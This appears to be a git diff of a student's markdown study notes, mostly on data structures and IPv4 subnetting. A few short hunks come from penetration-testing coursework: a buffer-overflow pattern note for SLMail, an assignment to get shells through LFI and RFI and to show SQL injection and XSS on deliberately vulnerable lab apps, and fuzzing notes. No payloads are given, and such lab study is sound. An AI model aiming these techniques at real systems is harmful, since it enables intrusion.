- **Circular Array Queue:** Employs a circular structure to efficiently utilize array space, preventing the needs of shifting elements when the array is full. - **Circular Array Queue:** Employs a circular structure to efficiently utilize array space, preventing the needs of shifting elements when the array is full.
## Linear Queue Representation ## Linear Queue Representation
In a linear array, after several operations, the queue might appear as: In a linear array, after several operations, the queue might appear as:
@@ -59,7 +56,6 @@ A circular queue, uses the following logic:
- Utilizes the modulo operator to wrap around the indices as elements are added or removed. - Utilizes the modulo operator to wrap around the indices as elements are added or removed.
## Implementation of a Circular Queue ## Implementation of a Circular Queue
The implementation comprises several stages: The implementation comprises several stages:
@@ -70,20 +66,19 @@ The implementation comprises several stages:
3. **Removal:** Increment the front index to remove an element. 3. **Removal:** Increment the front index to remove an element.
## Challenges with Circular Queues ## Challenges with Circular Queues
One of the critical issues with circular queues is distinguishing between a full and an empty queue state; both conditions can show the same value for front and rear. A common solution is to maintain a count of elements or add a condition to never allow the queue to get fully utilized. One of the critical issues with circular queues is distinguishing between a full and an empty queue state; both conditions can show the same value for front and rear. A common solution is to maintain a count of elements or add a condition to never allow the queue to get fully utilized.
## Queue Implementation Using Array ## Queue Implementation Using Array
The _ArrayQueue_ class illustrates array-based implementation: The *ArrayQueue* class illustrates array-based implementation:
``` java ``` java
public class ArrayQueue implements Queue { ... } public class ArrayQueue implements Queue { ... }
``` ```
This class defines data members like _front_ and _rear_, along with methods for manipulating the queue. This class defines data members like *front* and *rear*, along with methods for manipulating the queue.
## Queue Methods Overview ## Queue Methods Overview
@@ -97,7 +92,6 @@ Here are key methods defined in the Queue interface:
4. **remove():** Removes the front element and updates the front pointer to the next element. 4. **remove():** Removes the front element and updates the front pointer to the next element.
## Queue Implementation Using Linked List ## Queue Implementation Using Linked List
A linked list can also be utilized for queue implementation. A linked list can also be utilized for queue implementation.
@@ -114,7 +108,6 @@ This structure provides constant time complexity for insertions and deletions, o
- **Removing Elements:** The front element is removed and the front pointer is updated. - **Removing Elements:** The front element is removed and the front pointer is updated.
## Conclusion ## Conclusion
Queues are fundamental data structures in computer science with a range of applications spanning from scheduling tasks to implementing buffers. Their efficient management of elements through well-defined operations supports numerous algorithms and data handling strategies in programming. Queues are fundamental data structures in computer science with a range of applications spanning from scheduling tasks to implementing buffers. Their efficient management of elements through well-defined operations supports numerous algorithms and data handling strategies in programming.

View File

@@ -1,35 +1,30 @@
# Overview # Overview
- A stack is ta LIFO list. Meaning "last in first out" - A stack is ta LIFO list. Meaning "last in first out"
- Access is allowed only from one end of the stack - Access is allowed only from one end of the stack
- adding an item is called pulsing the stack - adding an item is called pulsing the stack
- retrieving an item is called popping the stack - retrieving an item is called popping the stack
# Typical uses # Typical Uses
- Parentheses matching; ()), or (()) - Parentheses matching; ()), or (())
- compiler's syntax check for matching braces is implemented by using stack - compiler's syntax check for matching braces is implemented by using stack
- The simplest application of a stack is to reverse a word. - The simplest application of a stack is to reverse a word.
You push a given word to stack - letter by letter - and then pop letters from the stack. - You push a given word to stack - letter by letter - and then pop letters from the stack.
- Another application is an "undo" mechanism in text editors; - Another application is an "undo" mechanism in text editors;
this operation is accomplished by keeping all text changes in a stack -this operation is accomplished by keeping all text changes in a stack
# Parenthesis count # Parenthesis Count
- Methodology (logical steps to solve the problem): - Methodology (logical steps to solve the problem):
- scan expression from left to right; - scan expression from left to right;
- when a left parenthesis is encountered, add its position to the stack; - when a left parenthesis is encountered, add its position to the stack;
- when a right parenthesis is encountered, remove matching position from stack (more example in a moment). - when a right parenthesis is encountered, remove matching position from stack (more example in a moment).
# try-catch-throw # Try-catch-throw
- When you enter a try block, push the address of this block onto a stack. - When you enter a try block, push the address of this block onto a stack.
\ \
- When an exception is thrown, pop the try block that is at the top of the stack; if the stack is empty, terminate the program. - When an exception is thrown, pop the try block that is at the top of the stack; if the stack is empty, terminate the program.
- If the popped try block has no matching catch block, go back to the previous step. - If the popped try block has no matching catch block, go back to the previous step.
- If the popped try block has a matching catch block, execute the matching catch block. - If the popped try block has a matching catch block, execute the matching catch block.

View File

@@ -9,30 +9,18 @@ Linear lists, which include arrays and linked lists, are ideal for serially orde
### Examples of Hierarchical Data in Trees ### Examples of Hierarchical Data in Trees
- Corporate Structure: - Corporate Structure:
- In a company, positions such as president, vice presidents, managers, etc., can be represented in a tree format. - In a company, positions such as president, vice presidents, managers, etc., can be represented in a tree format.
- Object-Oriented Programming: - Object-Oriented Programming:
- In Java, classes form a hierarchy where the Object class is at the top, followed by subclasses. - In Java, classes form a hierarchy where the Object class is at the top, followed by subclasses.
## Tree Terminologies ## Tree Terminologies
Understanding tree terminologies is crucial for grasping more complex operations and implementations. Understanding tree terminologies is crucial for grasping more complex operations and implementations.
- **Depth:** The number of edges from the root node to a specific node. For example, if node G is three levels down from the root, its depth is 3. - **Depth:** The number of edges from the root node to a specific node. For example, if node G is three levels down from the root, its depth is 3.
- **Height:** The height of a tree is defined as the number of levels it possesses. A tree's maximum depth helps determine its overall height. - **Height:** The height of a tree is defined as the number of levels it possesses. A tree's maximum depth helps determine its overall height.
- **Degree of a Node:** This refers to the number of child nodes a specific node has. A tree where each node has a maximum of two children is termed a **binary tree**. - **Degree of a Node:** This refers to the number of child nodes a specific node has. A tree where each node has a maximum of two children is termed a **binary tree**.
### Binary Trees ### Binary Trees
A binary tree is defined such that each node has at most two children, known traditionally as the left and right subtrees. This structure allows for efficient data handling, searching, and sorting. A binary tree is defined such that each node has at most two children, known traditionally as the left and right subtrees. This structure allows for efficient data handling, searching, and sorting.
@@ -42,14 +30,9 @@ A binary tree is defined such that each node has at most two children, known tra
When analyzing binary trees, certain properties can be established: When analyzing binary trees, certain properties can be established:
- A binary tree of height h must have at least h nodes. - A binary tree of height h must have at least h nodes.
- In a full binary tree, each node has either two children or none. It contains the maximum number of nodes defined as 2^h - 1. - In a full binary tree, each node has either two children or none. It contains the maximum number of nodes defined as 2^h - 1.
- The number of nodes and tree height relationship is succinctly expressed with the inequalities: h \leq n \leq 2^h -1. - The number of nodes and tree height relationship is succinctly expressed with the inequalities: h \leq n \leq 2^h -1.
## Binary Operations and Traversals ## Binary Operations and Traversals
Performing operations on binary trees is essential to manage and manipulate data effectively. Performing operations on binary trees is essential to manage and manipulate data effectively.
@@ -59,47 +42,31 @@ Performing operations on binary trees is essential to manage and manipulate data
Traversal techniques allow for processing each node in a specified order: Traversal techniques allow for processing each node in a specified order:
- **Pre-order Traversal:** Process the root, then traverse the left subtree, followed by the right subtree. - **Pre-order Traversal:** Process the root, then traverse the left subtree, followed by the right subtree.
- **In-order Traversal:** Visit the left subtree first, then process the root, followed by the right subtree. - **In-order Traversal:** Visit the left subtree first, then process the root, followed by the right subtree.
- **Post-order Traversal:** Traverse the left subtree, right subtree, and then process the root. - **Post-order Traversal:** Traverse the left subtree, right subtree, and then process the root.
- **Level-order Traversal:** Process nodes level by level from the root down to the leaves. - **Level-order Traversal:** Process nodes level by level from the root down to the leaves.
### Arithmetic Expressions as Trees ### Arithmetic Expressions as Trees
Binary trees are particularly useful for representing arithmetic expressions. An _expression tree_ is structured such that: Binary trees are particularly useful for representing arithmetic expressions. An *expression tree* is structured such that:
- Leaves represent operands. - Leaves represent operands.
- Non-leaf nodes denote operators. - Non-leaf nodes denote operators.
- Subtrees represent sub-expressions. - Subtrees represent sub-expressions.
## Conversion Between Expression Formats ## Conversion Between Expression Formats
Moving between infix, prefix, and postfix expressions requires constructing expression trees first. Moving between infix, prefix, and postfix expressions requires constructing expression trees first.
1. Infix expression (a + b) can be converted to a postfix expression (a b +) by building the corresponding expression tree and performing a post-order traversal. 1. Infix expression (a + b) can be converted to a postfix expression (a b +) by building the corresponding expression tree and performing a post-order traversal.
## Constructing Binary Trees from Traversals ## Constructing Binary Trees from Traversals
Creating a binary tree from given traversals (like in-order and pre-order) involves recognizing patterns in the data: Creating a binary tree from given traversals (like in-order and pre-order) involves recognizing patterns in the data:
- From in-order and pre-order traversals, one identifies the root and splits left and right subtrees accordingly. - From in-order and pre-order traversals, one identifies the root and splits left and right subtrees accordingly.
- The process can illustrate various scenarios and result in multiple valid trees for the same traversal combinations. - The process can illustrate various scenarios and result in multiple valid trees for the same traversal combinations.
## Conclusion ## Conclusion
Tree data structures are indispensable in computer science, providing efficient methods for data organization, retrieval, and management. Understanding their properties and operations enables clearer problem-solving strategies and effective programming techniques. Tree data structures are indispensable in computer science, providing efficient methods for data organization, retrieval, and management. Understanding their properties and operations enables clearer problem-solving strategies and effective programming techniques.

View File

@@ -1,50 +1,78 @@
# Interfaces, Linked Lists, Array Lists # Interfaces, Linked Lists, Array Lists
## Definitions ## Definitions
### Interface ### Interface
A contract that defines methods, field variables, return types, a class must implement. An example of this is the `List` interface in Java. A contract that defines methods, field variables, return types, a class must implement. An example of this is the `List` interface in Java.
### Linked List ### Linked List
A data structure where nodes are linked using pointers. Each node contains data - storing a value, and pointer - referencing the next node (and previous in doubly linked). A data structure where nodes are linked using pointers. Each node contains data - storing a value, and pointer - referencing the next node (and previous in doubly linked).
#### Types #### Types
- Singly Linked (Unidirectional) - Singly Linked (Unidirectional)
- Doubly Linked (Bidirectional) - Doubly Linked (Bidirectional)
- Circular Linked (Last node points to first node) - Circular Linked (Last node points to first node)
### Array List ### Array List
A resizable array-based data structure where elements are stored in contiguous memory locations. Arrays allow for random access through an index corresponding to a location in the array. When capacity is exceeded, the list can resize dynamically. A resizable array-based data structure where elements are stored in contiguous memory locations. Arrays allow for random access through an index corresponding to a location in the array. When capacity is exceeded, the list can resize dynamically.
## Difference between Linked and Array Lists ## Difference between Linked and Array Lists
- Memory Allocation - Memory Allocation
- LL -> Dynamic; Array -> Contiguous - LL -> Dynamic; Array -> Contiguous
- Performance - Performance
- LL -> Good for Insert/Delete; Array -> Good for searching - LL -> Good for Insert/Delete; Array -> Good for searching
## Use Case ## Use Case
### Linked List ### Linked List
#### Stacks / Queues #### Stacks / Queues
Linked lists can efficiently add or remove from either end. Linked lists can efficiently add or remove from either end.
- Stack: Singly Linked List, insert/remove at head. O(1) - Stack: Singly Linked List, insert/remove at head. O(1)
- Queue: Doubly Linked List, efficient tail and head operations (enqueue dequeue) - Queue: Doubly Linked List, efficient tail and head operations (enqueue dequeue)
#### Task Scheduling #### Task Scheduling
- Dynamic data, removing / adding tasks easier with linked list - Dynamic data, removing / adding tasks easier with linked list
#### Undo Function #### Undo Function
- Doubly Linked List, track user actions. move back or forward allows for easy undo / redo - Doubly Linked List, track user actions. move back or forward allows for easy undo / redo
### Array List ### Array List
#### Database Caching #### Database Caching
- Frequent random access, ideal for storing cached records. - Frequent random access, ideal for storing cached records.
#### Dropdown Menus #### Dropdown Menus
- Store and dynamically resize when elements need to be added to UI drop-downs that change based on input. - Store and dynamically resize when elements need to be added to UI drop-downs that change based on input.
#### Inventory Systems #### Inventory Systems
- Elements added or accessed without many deletions, Array List would allow for predictable resizing. - Elements added or accessed without many deletions, Array List would allow for predictable resizing.
## Implementation ## Implementation
### Interface ### Interface
```java ```java
interface Interface { interface Interface {
void method(); void method();
int method2(int param) int method2(int param)
} }
``` ```
### Linked List ### Linked List
```java ```java
class Node { class Node {
int data; int data;
@@ -80,7 +108,9 @@ class LinkedList {
} }
} }
``` ```
### Array List ### Array List
```java ```java
import java.util.ArrayList; import java.util.ArrayList;
class ArrayList { class ArrayList {
@@ -168,9 +198,11 @@ class Stack {
``` ```
## Parenthesis Matching ## Parenthesis Matching
- Push opening brackets, closing brackets pop correspondingly, if no match, false. - Push opening brackets, closing brackets pop correspondingly, if no match, false.
## Dijkstra's Two-Stack Algorithm ## Dijkstra's Two-Stack Algorithm
- Eval parenthesized arithmetic expressions - Eval parenthesized arithmetic expressions
- One stack operands - One stack operands
- One stack operators - One stack operators

View File

@@ -1,4 +1,4 @@
# Write a Java method pop() for a stack implemented using an array. # Write a Java Method pop() for a Stack Implemented Using an Array.
```java ```java
public class Stack { public class Stack {

View File

@@ -4,6 +4,7 @@ To insert a node into a **binary search tree (BST)** while keeping the tree **ba
2. After insertion, **rebalance the tree** (if necessary) to ensure that it remains balanced. A tree is considered balanced if the height difference between the left and right subtrees of any node is at most 1 (this is the **balanced binary tree** or **AVL tree** property). 2. After insertion, **rebalance the tree** (if necessary) to ensure that it remains balanced. A tree is considered balanced if the height difference between the left and right subtrees of any node is at most 1 (this is the **balanced binary tree** or **AVL tree** property).
### **Given Binary Search Tree**: ### **Given Binary Search Tree**:
``` ```
10 10
/ \ / \
@@ -21,6 +22,7 @@ We start by inserting **4** into the BST:
- 4 is greater than 2, so 4 will be placed as the **right child** of 2. - 4 is greater than 2, so 4 will be placed as the **right child** of 2.
After insertion, the tree looks like this: After insertion, the tree looks like this:
``` ```
10 10
/ \ / \
@@ -44,6 +46,7 @@ Since the tree is balanced at all levels, **no further rebalancing is necessary*
### **Final Balanced Tree**: ### **Final Balanced Tree**:
The final tree after inserting 4 is: The final tree after inserting 4 is:
``` ```
10 10
/ \ / \

View File

@@ -1,6 +1,7 @@
# Describe a scenario where a stack data structure would be more suitable than a Queue # Describe a Scenario where a Stack Data Structure Would Be More Suitable than a Queue
A **stack data structure** is more suitable than a queue in scenarios where you need to process items in a **Last-In, First-Out (LIFO)** order A **stack data structure** is more suitable than a queue in scenarios where you need to process items in a **Last-In, First-Out (LIFO)** order
### Scenario: **Undo Operation in Text Editors** ### Scenario: **Undo Operation in Text Editors**
- **Description**: In text editors, when a user types, deletes, or performs other actions, these operations are stored so they can be undone in reverse order of execution. - **Description**: In text editors, when a user types, deletes, or performs other actions, these operations are stored so they can be undone in reverse order of execution.

View File

@@ -1,4 +1,4 @@
# What is a binary search tree, and how does it differ from a regular binary tree? # What is a Binary search Tree, and how Does it Differ from a Regular Binary Tree?
### **Binary Search Tree (BST):** ### **Binary Search Tree (BST):**
@@ -38,6 +38,7 @@ A **Binary Tree** is a tree data structure where each node has at most two child
#### Binary Tree: #### Binary Tree:
A binary tree with no ordering constraints: A binary tree with no ordering constraints:
``` ```
10 10
/ \ / \
@@ -45,11 +46,13 @@ A binary tree with no ordering constraints:
/ /
40 40
``` ```
- Node values are not in any specific order. - Node values are not in any specific order.
#### Binary Search Tree: #### Binary Search Tree:
A binary search tree: A binary search tree:
``` ```
10 10
/ \ / \
@@ -64,13 +67,13 @@ A binary search tree:
--- ---
### **Advantages of BST Over a General Binary Tree:** ### **Advantages Of BST Over a General Binary Tree:**
1. **Efficient Searching**: Searching in a BST takes $O(h)$, where $h$ is the height of the tree. In a balanced BST, $h=O(logn)$. 1. **Efficient Searching**: Searching in a BST takes $O(h)$, where $h$ is the height of the tree. In a balanced BST, $h=O(logn)$.
2. **Ordered Traversal**: In-order traversal of a BST produces the nodes in sorted order. 2. **Ordered Traversal**: In-order traversal of a BST produces the nodes in sorted order.
3. **Efficient Range Queries**: BSTs can efficiently find all elements within a specific range. 3. **Efficient Range Queries**: BSTs can efficiently find all elements within a specific range.
### **Disadvantages of BST:** ### **Disadvantages Of BST:**
1. If unbalanced (e.g., when nodes are inserted in sorted order), the BST can degrade to a linked list, resulting in $O(n)$ time for operations. 1. If unbalanced (e.g., when nodes are inserted in sorted order), the BST can degrade to a linked list, resulting in $O(n)$ time for operations.
2. Maintaining balance (e.g., in AVL or Red-Black Trees) adds complexity. 2. Maintaining balance (e.g., in AVL or Red-Black Trees) adds complexity.

View File

@@ -1,8 +1,8 @@
# What is an interface in object-oriented programming and how does it differ from a class? # What is an Interface in Object-oriented Programming and how Does it Differ from a Class?
### **What is an Interface in Object-Oriented Programming?** ### **What Is an Interface in Object-Oriented Programming?**
An **interface** is a contract in object-oriented programming (OOP) that defines a set of methods (and sometimes properties) that a class must implement. It specifies _what_ a class should do, but not _how_ it should do it. An **interface** is a contract in object-oriented programming (OOP) that defines a set of methods (and sometimes properties) that a class must implement. It specifies *what* a class should do, but not *how* it should do it.
Key characteristics of an interface: Key characteristics of an interface:
@@ -12,6 +12,7 @@ Key characteristics of an interface:
4. **No State**: Interfaces do not contain instance variables or state but may include constants. 4. **No State**: Interfaces do not contain instance variables or state but may include constants.
#### Example in Java: #### Example in Java:
```java ```java
// Define an interface // Define an interface
public interface Animal { public interface Animal {
@@ -33,7 +34,7 @@ public class Dog implements Animal {
} }
``` ```
### **What is a Class?** ### **What Is a Class?**
A **class** is a blueprint for creating objects in OOP. It defines the structure (fields or attributes) and behavior (methods) of objects. Unlike interfaces, classes can have implementations, state, and behavior. A **class** is a blueprint for creating objects in OOP. It defines the structure (fields or attributes) and behavior (methods) of objects. Unlike interfaces, classes can have implementations, state, and behavior.
@@ -45,6 +46,7 @@ Key characteristics of a class:
4. **Constructors**: Classes can have constructors to initialize objects. 4. **Constructors**: Classes can have constructors to initialize objects.
#### Example in Java: #### Example in Java:
```java ```java
// Define a class // Define a class
public class Dog { public class Dog {
@@ -73,13 +75,14 @@ public class Dog {
|**Constructors**|Cannot have constructors.|Can have constructors to initialize objects.| |**Constructors**|Cannot have constructors.|Can have constructors to initialize objects.|
|**Abstract**|Interfaces are entirely abstract (unless extended in modern versions).|Can be abstract or concrete.| |**Abstract**|Interfaces are entirely abstract (unless extended in modern versions).|Can be abstract or concrete.|
|**Default Methods**|Starting from Java 8, interfaces can have default methods (methods with a body).|Classes always support method implementation.| |**Default Methods**|Starting from Java 8, interfaces can have default methods (methods with a body).|Classes always support method implementation.|
### **When to Use an Interface?**
### **When To Use an Interface?**
- **Polymorphism**: When you want different classes to provide their specific implementation of the same behavior. - **Polymorphism**: When you want different classes to provide their specific implementation of the same behavior.
- **Decoupling**: To decouple code by relying on abstractions rather than concrete classes. - **Decoupling**: To decouple code by relying on abstractions rather than concrete classes.
- **Multiple Inheritance**: When you need a class to inherit behavior from multiple sources. - **Multiple Inheritance**: When you need a class to inherit behavior from multiple sources.
### **When to Use a Class?** ### **When To Use a Class?**
- When you need to define an object with both state and behavior. - When you need to define an object with both state and behavior.
- When you need concrete implementations of methods. - When you need concrete implementations of methods.

View File

@@ -1,4 +1,4 @@
# Convert the infix expression A * (B + C) / D to a postfix expression # Convert the Infix Expression A * (B + C) / D to a Postfix Expression
To convert the infix expression `A * (B + C) / D` into postfix notation, we use the following rules: To convert the infix expression `A * (B + C) / D` into postfix notation, we use the following rules:
@@ -29,6 +29,7 @@ To convert the infix expression `A * (B + C) / D` into postfix notation, we use
--- ---
### **Final Postfix Expression**: ### **Final Postfix Expression**:
``` ```
ABC+*D/ ABC+*D/
``` ```

View File

@@ -1,4 +1,4 @@
# Evaluate the postfix expression `6 2 3 + -.` # Evaluate the Postfix Expression `6 2 3 + -.`
### **Postfix Evaluation Rules** ### **Postfix Evaluation Rules**
@@ -42,4 +42,3 @@
### **Final Result**: ### **Final Result**:
The result of the postfix expression `6 2 3 + -` is **`1`**. The result of the postfix expression `6 2 3 + -` is **`1`**.

View File

@@ -1,6 +1,6 @@
# Compare and contrast a queue with a stack. # Compare and Contrast a Queue with a Stack.
### **Comparison of Queue and Stack** ### **Comparison Of Queue and Stack**
|**Aspect**|**Stack**|**Queue**| |**Aspect**|**Stack**|**Queue**|
|---|---|---| |---|---|---|

View File

@@ -1,4 +1,4 @@
# Consider a min heap with these elements: [4, 5, 6, 7, 8, 9, 10]. Insert 3 into this min heap. # Consider a Min Heap with These Elements: [4, 5, 6, 7, 8, 9, 10]. Insert 3 into This Min Heap.
In a **min heap**, the root node contains the smallest element, and every parent node is less than its children. When we insert a new element into a min heap, we follow these steps: In a **min heap**, the root node contains the smallest element, and every parent node is less than its children. When we insert a new element into a min heap, we follow these steps:
@@ -8,10 +8,13 @@ In a **min heap**, the root node contains the smallest element, and every parent
### Given Min Heap: ### Given Min Heap:
The given min heap is represented as an array: The given min heap is represented as an array:
```csharp ```csharp
[4, 5, 6, 7, 8, 9, 10] [4, 5, 6, 7, 8, 9, 10]
``` ```
This corresponds to the following binary tree: This corresponds to the following binary tree:
``` ```
4 4
/ \ / \
@@ -19,13 +22,17 @@ This corresponds to the following binary tree:
/ \ / \ / \ / \
7 8 9 10 7 8 9 10
``` ```
### **Step 1: Insert 3 into the Heap** ### **Step 1: Insert 3 into the Heap**
First, insert 3 at the end of the heap: First, insert 3 at the end of the heap:
```csharp ```csharp
[4, 5, 6, 7, 8, 9, 10, 3] [4, 5, 6, 7, 8, 9, 10, 3]
``` ```
This corresponds to the following binary tree: This corresponds to the following binary tree:
``` ```
4 4
/ \ / \
@@ -35,6 +42,7 @@ This corresponds to the following binary tree:
/ /
3 3
``` ```
### **Step 2: Bubble Up** ### **Step 2: Bubble Up**
Now, we need to **bubble up** the element `3` to restore the heap property. We compare `3` with its parent and swap if necessary: Now, we need to **bubble up** the element `3` to restore the heap property. We compare `3` with its parent and swap if necessary:
@@ -42,6 +50,7 @@ Now, we need to **bubble up** the element `3` to restore the heap property. We c
- The parent of `3` is `7` (index 3). Since `3 < 7`, we swap them. - The parent of `3` is `7` (index 3). Since `3 < 7`, we swap them.
After the swap, the heap becomes: After the swap, the heap becomes:
``` ```
4 4
/ \ / \
@@ -57,6 +66,7 @@ Now, we continue the bubbling up process:
- The parent of `3` is `5` (index 1). Since `3 < 5`, we swap them. - The parent of `3` is `5` (index 1). Since `3 < 5`, we swap them.
After the swap, the heap becomes: After the swap, the heap becomes:
``` ```
4 4
/ \ / \
@@ -86,6 +96,7 @@ After the swap, the heap becomes:
### **Final Array Representation**: ### **Final Array Representation**:
The final min heap as an array is: The final min heap as an array is:
```csharp ```csharp
[3, 4, 6, 5, 8, 9, 10, 7] [3, 4, 6, 5, 8, 9, 10, 7]
``` ```

View File

@@ -1,4 +1,5 @@
# Create an adjacency matrix for the following weighted undirected graph. # Create an Adjacency Matrix for the following Weighted Undirected Graph.
``` ```
A-3-B A-3-B
| | | |
@@ -17,10 +18,10 @@ To create an **adjacency matrix** for the given **weighted undirected graph**, w
### **Graph Details**: ### **Graph Details**:
- **A -3- B**: There is an edge between A and B with weight 3. - **A -3B**: There is an edge between A and B with weight 3.
- **A -2- C**: There is an edge between A and C with weight 2. - **A -2C**: There is an edge between A and C with weight 2.
- **B -1- D**: There is an edge between B and D with weight 1. - **B -1D**: There is an edge between B and D with weight 1.
- **C -4- D**: There is an edge between C and D with weight 4. - **C -4D**: There is an edge between C and D with weight 4.
--- ---

View File

@@ -7,4 +7,3 @@ flowchart BT
iae[IllegalArgumentException] --> re iae[IllegalArgumentException] --> re
npe[NullPointerException] --> re npe[NullPointerException] --> re
``` ```

View File

@@ -0,0 +1 @@

View File

@@ -21,7 +21,6 @@
- Either need multiple network numbers, or use subnets to pretend you have multiple network numbers - Either need multiple network numbers, or use subnets to pretend you have multiple network numbers
- One LAN per building, big network likely to be split into smaller networks. (Subnets) - One LAN per building, big network likely to be split into smaller networks. (Subnets)
255.0.0.0 255.0.0.0
/8 /8
16.0.0.0 16.0.0.0

View File

@@ -5,12 +5,13 @@
| Network | Internet | IP, ICMP | | Network | Internet | IP, ICMP |
| Data Link<br>Physical | Network Access | PPP<br>IP-over-ADSL<br>IP-over-Ethernet | | Data Link<br>Physical | Network Access | PPP<br>IP-over-ADSL<br>IP-over-Ethernet |
# Internet Protocol version 4 # Internet Protocol Version 4
- Connectionless packet oriented service - Connectionless packet oriented service
- Unreliable service, no guarantee of delivery - Unreliable service, no guarantee of delivery
- Best effort, no error recovery - Best effort, no error recovery
All packets routed independently All packets routed independently
- Routers examine destination IP address and choose best route to forward packet - Routers examine destination IP address and choose best route to forward packet
- Big packets fragmented, fragments routed separately - Big packets fragmented, fragments routed separately

View File

@@ -1,4 +1,3 @@
| ubnet | Hosts | Addresses | Bits Required | Netmask | CIDR Netmask | | ubnet | Hosts | Addresses | Bits Required | Netmask | CIDR Netmask |
| ----- | ----- | --------- | ------------- | --------------- | ------------ | | ----- | ----- | --------- | ------------- | --------------- | ------------ |
| A | 23 | 25 | 5 | 255.255.255.224 | /27 | | A | 23 | 25 | 5 | 255.255.255.224 | /27 |
@@ -6,6 +5,7 @@
| C | 18 | 20 | 5 | 255.255.255.224 | /27 | | C | 18 | 20 | 5 | 255.255.255.224 | /27 |
| D | 31 | 33 | 6 | 255.255.255.192 | /26 | | D | 31 | 33 | 6 | 255.255.255.192 | /26 |
| E | 73 | 75 | 7 | 225.255.255.128 | /25 | | E | 73 | 75 | 7 | 225.255.255.128 | /25 |
Subnet E: 66.77.88.0/25 Subnet E: 66.77.88.0/25
Range: 66.77.88.1 - 66.77.88.126 Range: 66.77.88.1 - 66.77.88.126
Broadcast: 66.77.88.127 Broadcast: 66.77.88.127

View File

@@ -0,0 +1 @@

View File

@@ -3,4 +3,3 @@
- Created pattern of 2900 bytes, created slmail.py - Created pattern of 2900 bytes, created slmail.py
- ![](Pasted%20image%2020250131145917.png) - ![](Pasted%20image%2020250131145917.png)
-

View File

@@ -0,0 +1,9 @@
- In OWASP Broken Web Applications Project, use either the
- OWASP Mutillidae II
- or DVWA
- Demonstrate you can obtain a shell with the following
- An LFI vulnerability in the web application with file upload;
- An LFI vulnerability in the web application with contaminated logs; and
- An RFI vulnerability in the web application.
- Demonstrate attacks using SQL injection and Cross Site Scripting
- Provide documentation and proof of useful attacks in your report

View File

@@ -4,8 +4,6 @@ do in this assignment (or describe if you have to do it in a particular way in o
sure you stay legal and ethical even if this will limit the amount of information that you sure you stay legal and ethical even if this will limit the amount of information that you
are able to find are able to find
| Action No | Scope: Summary of Intention | Permission to Test: Outline of Legal and Ethical Justification | Allow/Reject | | Action No | Scope: Summary of Intention | Permission to Test: Outline of Legal and Ethical Justification | Allow/Reject |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ |
| 1 | I would use WHOIS / Recon-NG to find website registrar identities and the ASN of the company. This would provide me with a list of identities, and their emails, that may have access to infrastructure, or elevated permissions. | I believe this is legal as WHOIS is a public database of registrar information. No information found through WHOIS is sensitive, and has been published by the company, rather than found - no ethical issues with WHOIS | | | 1 | I would use WHOIS / Recon-NG to find website registrar identities and the ASN of the company. This would provide me with a list of identities, and their emails, that may have access to infrastructure, or elevated permissions. | I believe this is legal as WHOIS is a public database of registrar information. No information found through WHOIS is sensitive, and has been published by the company, rather than found - no ethical issues with WHOIS | |

View File

@@ -35,23 +35,27 @@ If source code not available:
- ESP - Stack pointer (last item on the stack) - ESP - Stack pointer (last item on the stack)
- EBP - Stack frame base pointer and reference to arguments and local variables - EBP - Stack frame base pointer and reference to arguments and local variables
- EIP - Pointer to the next instruction to execute (“instruction pointer”) - EIP - Pointer to the next instruction to execute (“instruction pointer”)
### Segment Registers ### Segment Registers
- CS : Holds the address to the Code segment of the program - CS : Holds the address to the Code segment of the program
- DS : Holds the address to the Data segment of the program - DS : Holds the address to the Data segment of the program
- SS : Holds the address to the Stack segment of the program - SS : Holds the address to the Stack segment of the program
- ES,FS,GS : Hold the address to the extra segments - ES,FS,GS : Hold the address to the extra segments
### Flags ### Flags
- Zero Flag (ZF) - Set if the result of some instruction is zero; cleared otherwise. - Zero Flag (ZF) - Set if the result of some instruction is zero; cleared otherwise.
- Sign Flag (SF) - Set equal to the most-significant bit of the result, which is the sign bit of a signed integer. (0 indicates a positive value and 1 indicates a negative value) - Sign Flag (SF) - Set equal to the most-significant bit of the result, which is the sign bit of a signed integer. (0 indicates a positive value and 1 indicates a negative value)
- Carry Flag (CF): Set if an arithmetic operation generate a carry or a borrow out of the most significant bit of the result, cleared otherwise - Carry Flag (CF): Set if an arithmetic operation generate a carry or a borrow out of the most significant bit of the result, cleared otherwise
- Parity Flag (PF): Set if the least-significant byte of the result contains an even number of 1 bit, cleared otherwise. - Parity Flag (PF): Set if the least-significant byte of the result contains an even number of 1 bit, cleared otherwise.
- Overflow Flag (OF): Set if the integer result is too large a positive number or too small a negative number, excluding the sign bit, to fit in the destination operand, cleared otherwise. This flag indicates an overflow condition for signed-integer that is twos complement arithmetic. - Overflow Flag (OF): Set if the integer result is too large a positive number or too small a negative number, excluding the sign bit, to fit in the destination operand, cleared otherwise. This flag indicates an overflow condition for signed-integer that is twos complement arithmetic.
- ![](Pasted%20image%2020250116093127.png) - ![](Pasted%20image%2020250116093127.png)
### Push / Pop ### Push / Pop
PUSH src PUSH src
- src operand can be a register or immediate - src operand can be a register or immediate
- In a DWORD scenario, the PUSH instruction automatically decrements the stack pointer by 4, i.e., sp <- sp-4 - In a DWORD scenario, the PUSH instruction automatically decrements the stack pointer by 4, i.e., sp <- sp-4
POP src POP src
@@ -59,6 +63,6 @@ POP src
- In a DWORD scenario, the POP instruction automatically takes a DWORD off the stack, puts in a register and increments the stack pointer by 4, i.e., sp <- sp+4 - In a DWORD scenario, the POP instruction automatically takes a DWORD off the stack, puts in a register and increments the stack pointer by 4, i.e., sp <- sp+4
#### Examples of PUSH / POP #### Examples of PUSH / POP
![](Pasted%20image%2020250116093226.png) ![](Pasted%20image%2020250116093226.png)
![](Pasted%20image%2020250116093312.png) ![](Pasted%20image%2020250116093312.png)

View File

@@ -9,7 +9,7 @@
- Fuzzing involves sending malformed data into an application input and watching for unexpected crashes. - Fuzzing involves sending malformed data into an application input and watching for unexpected crashes.
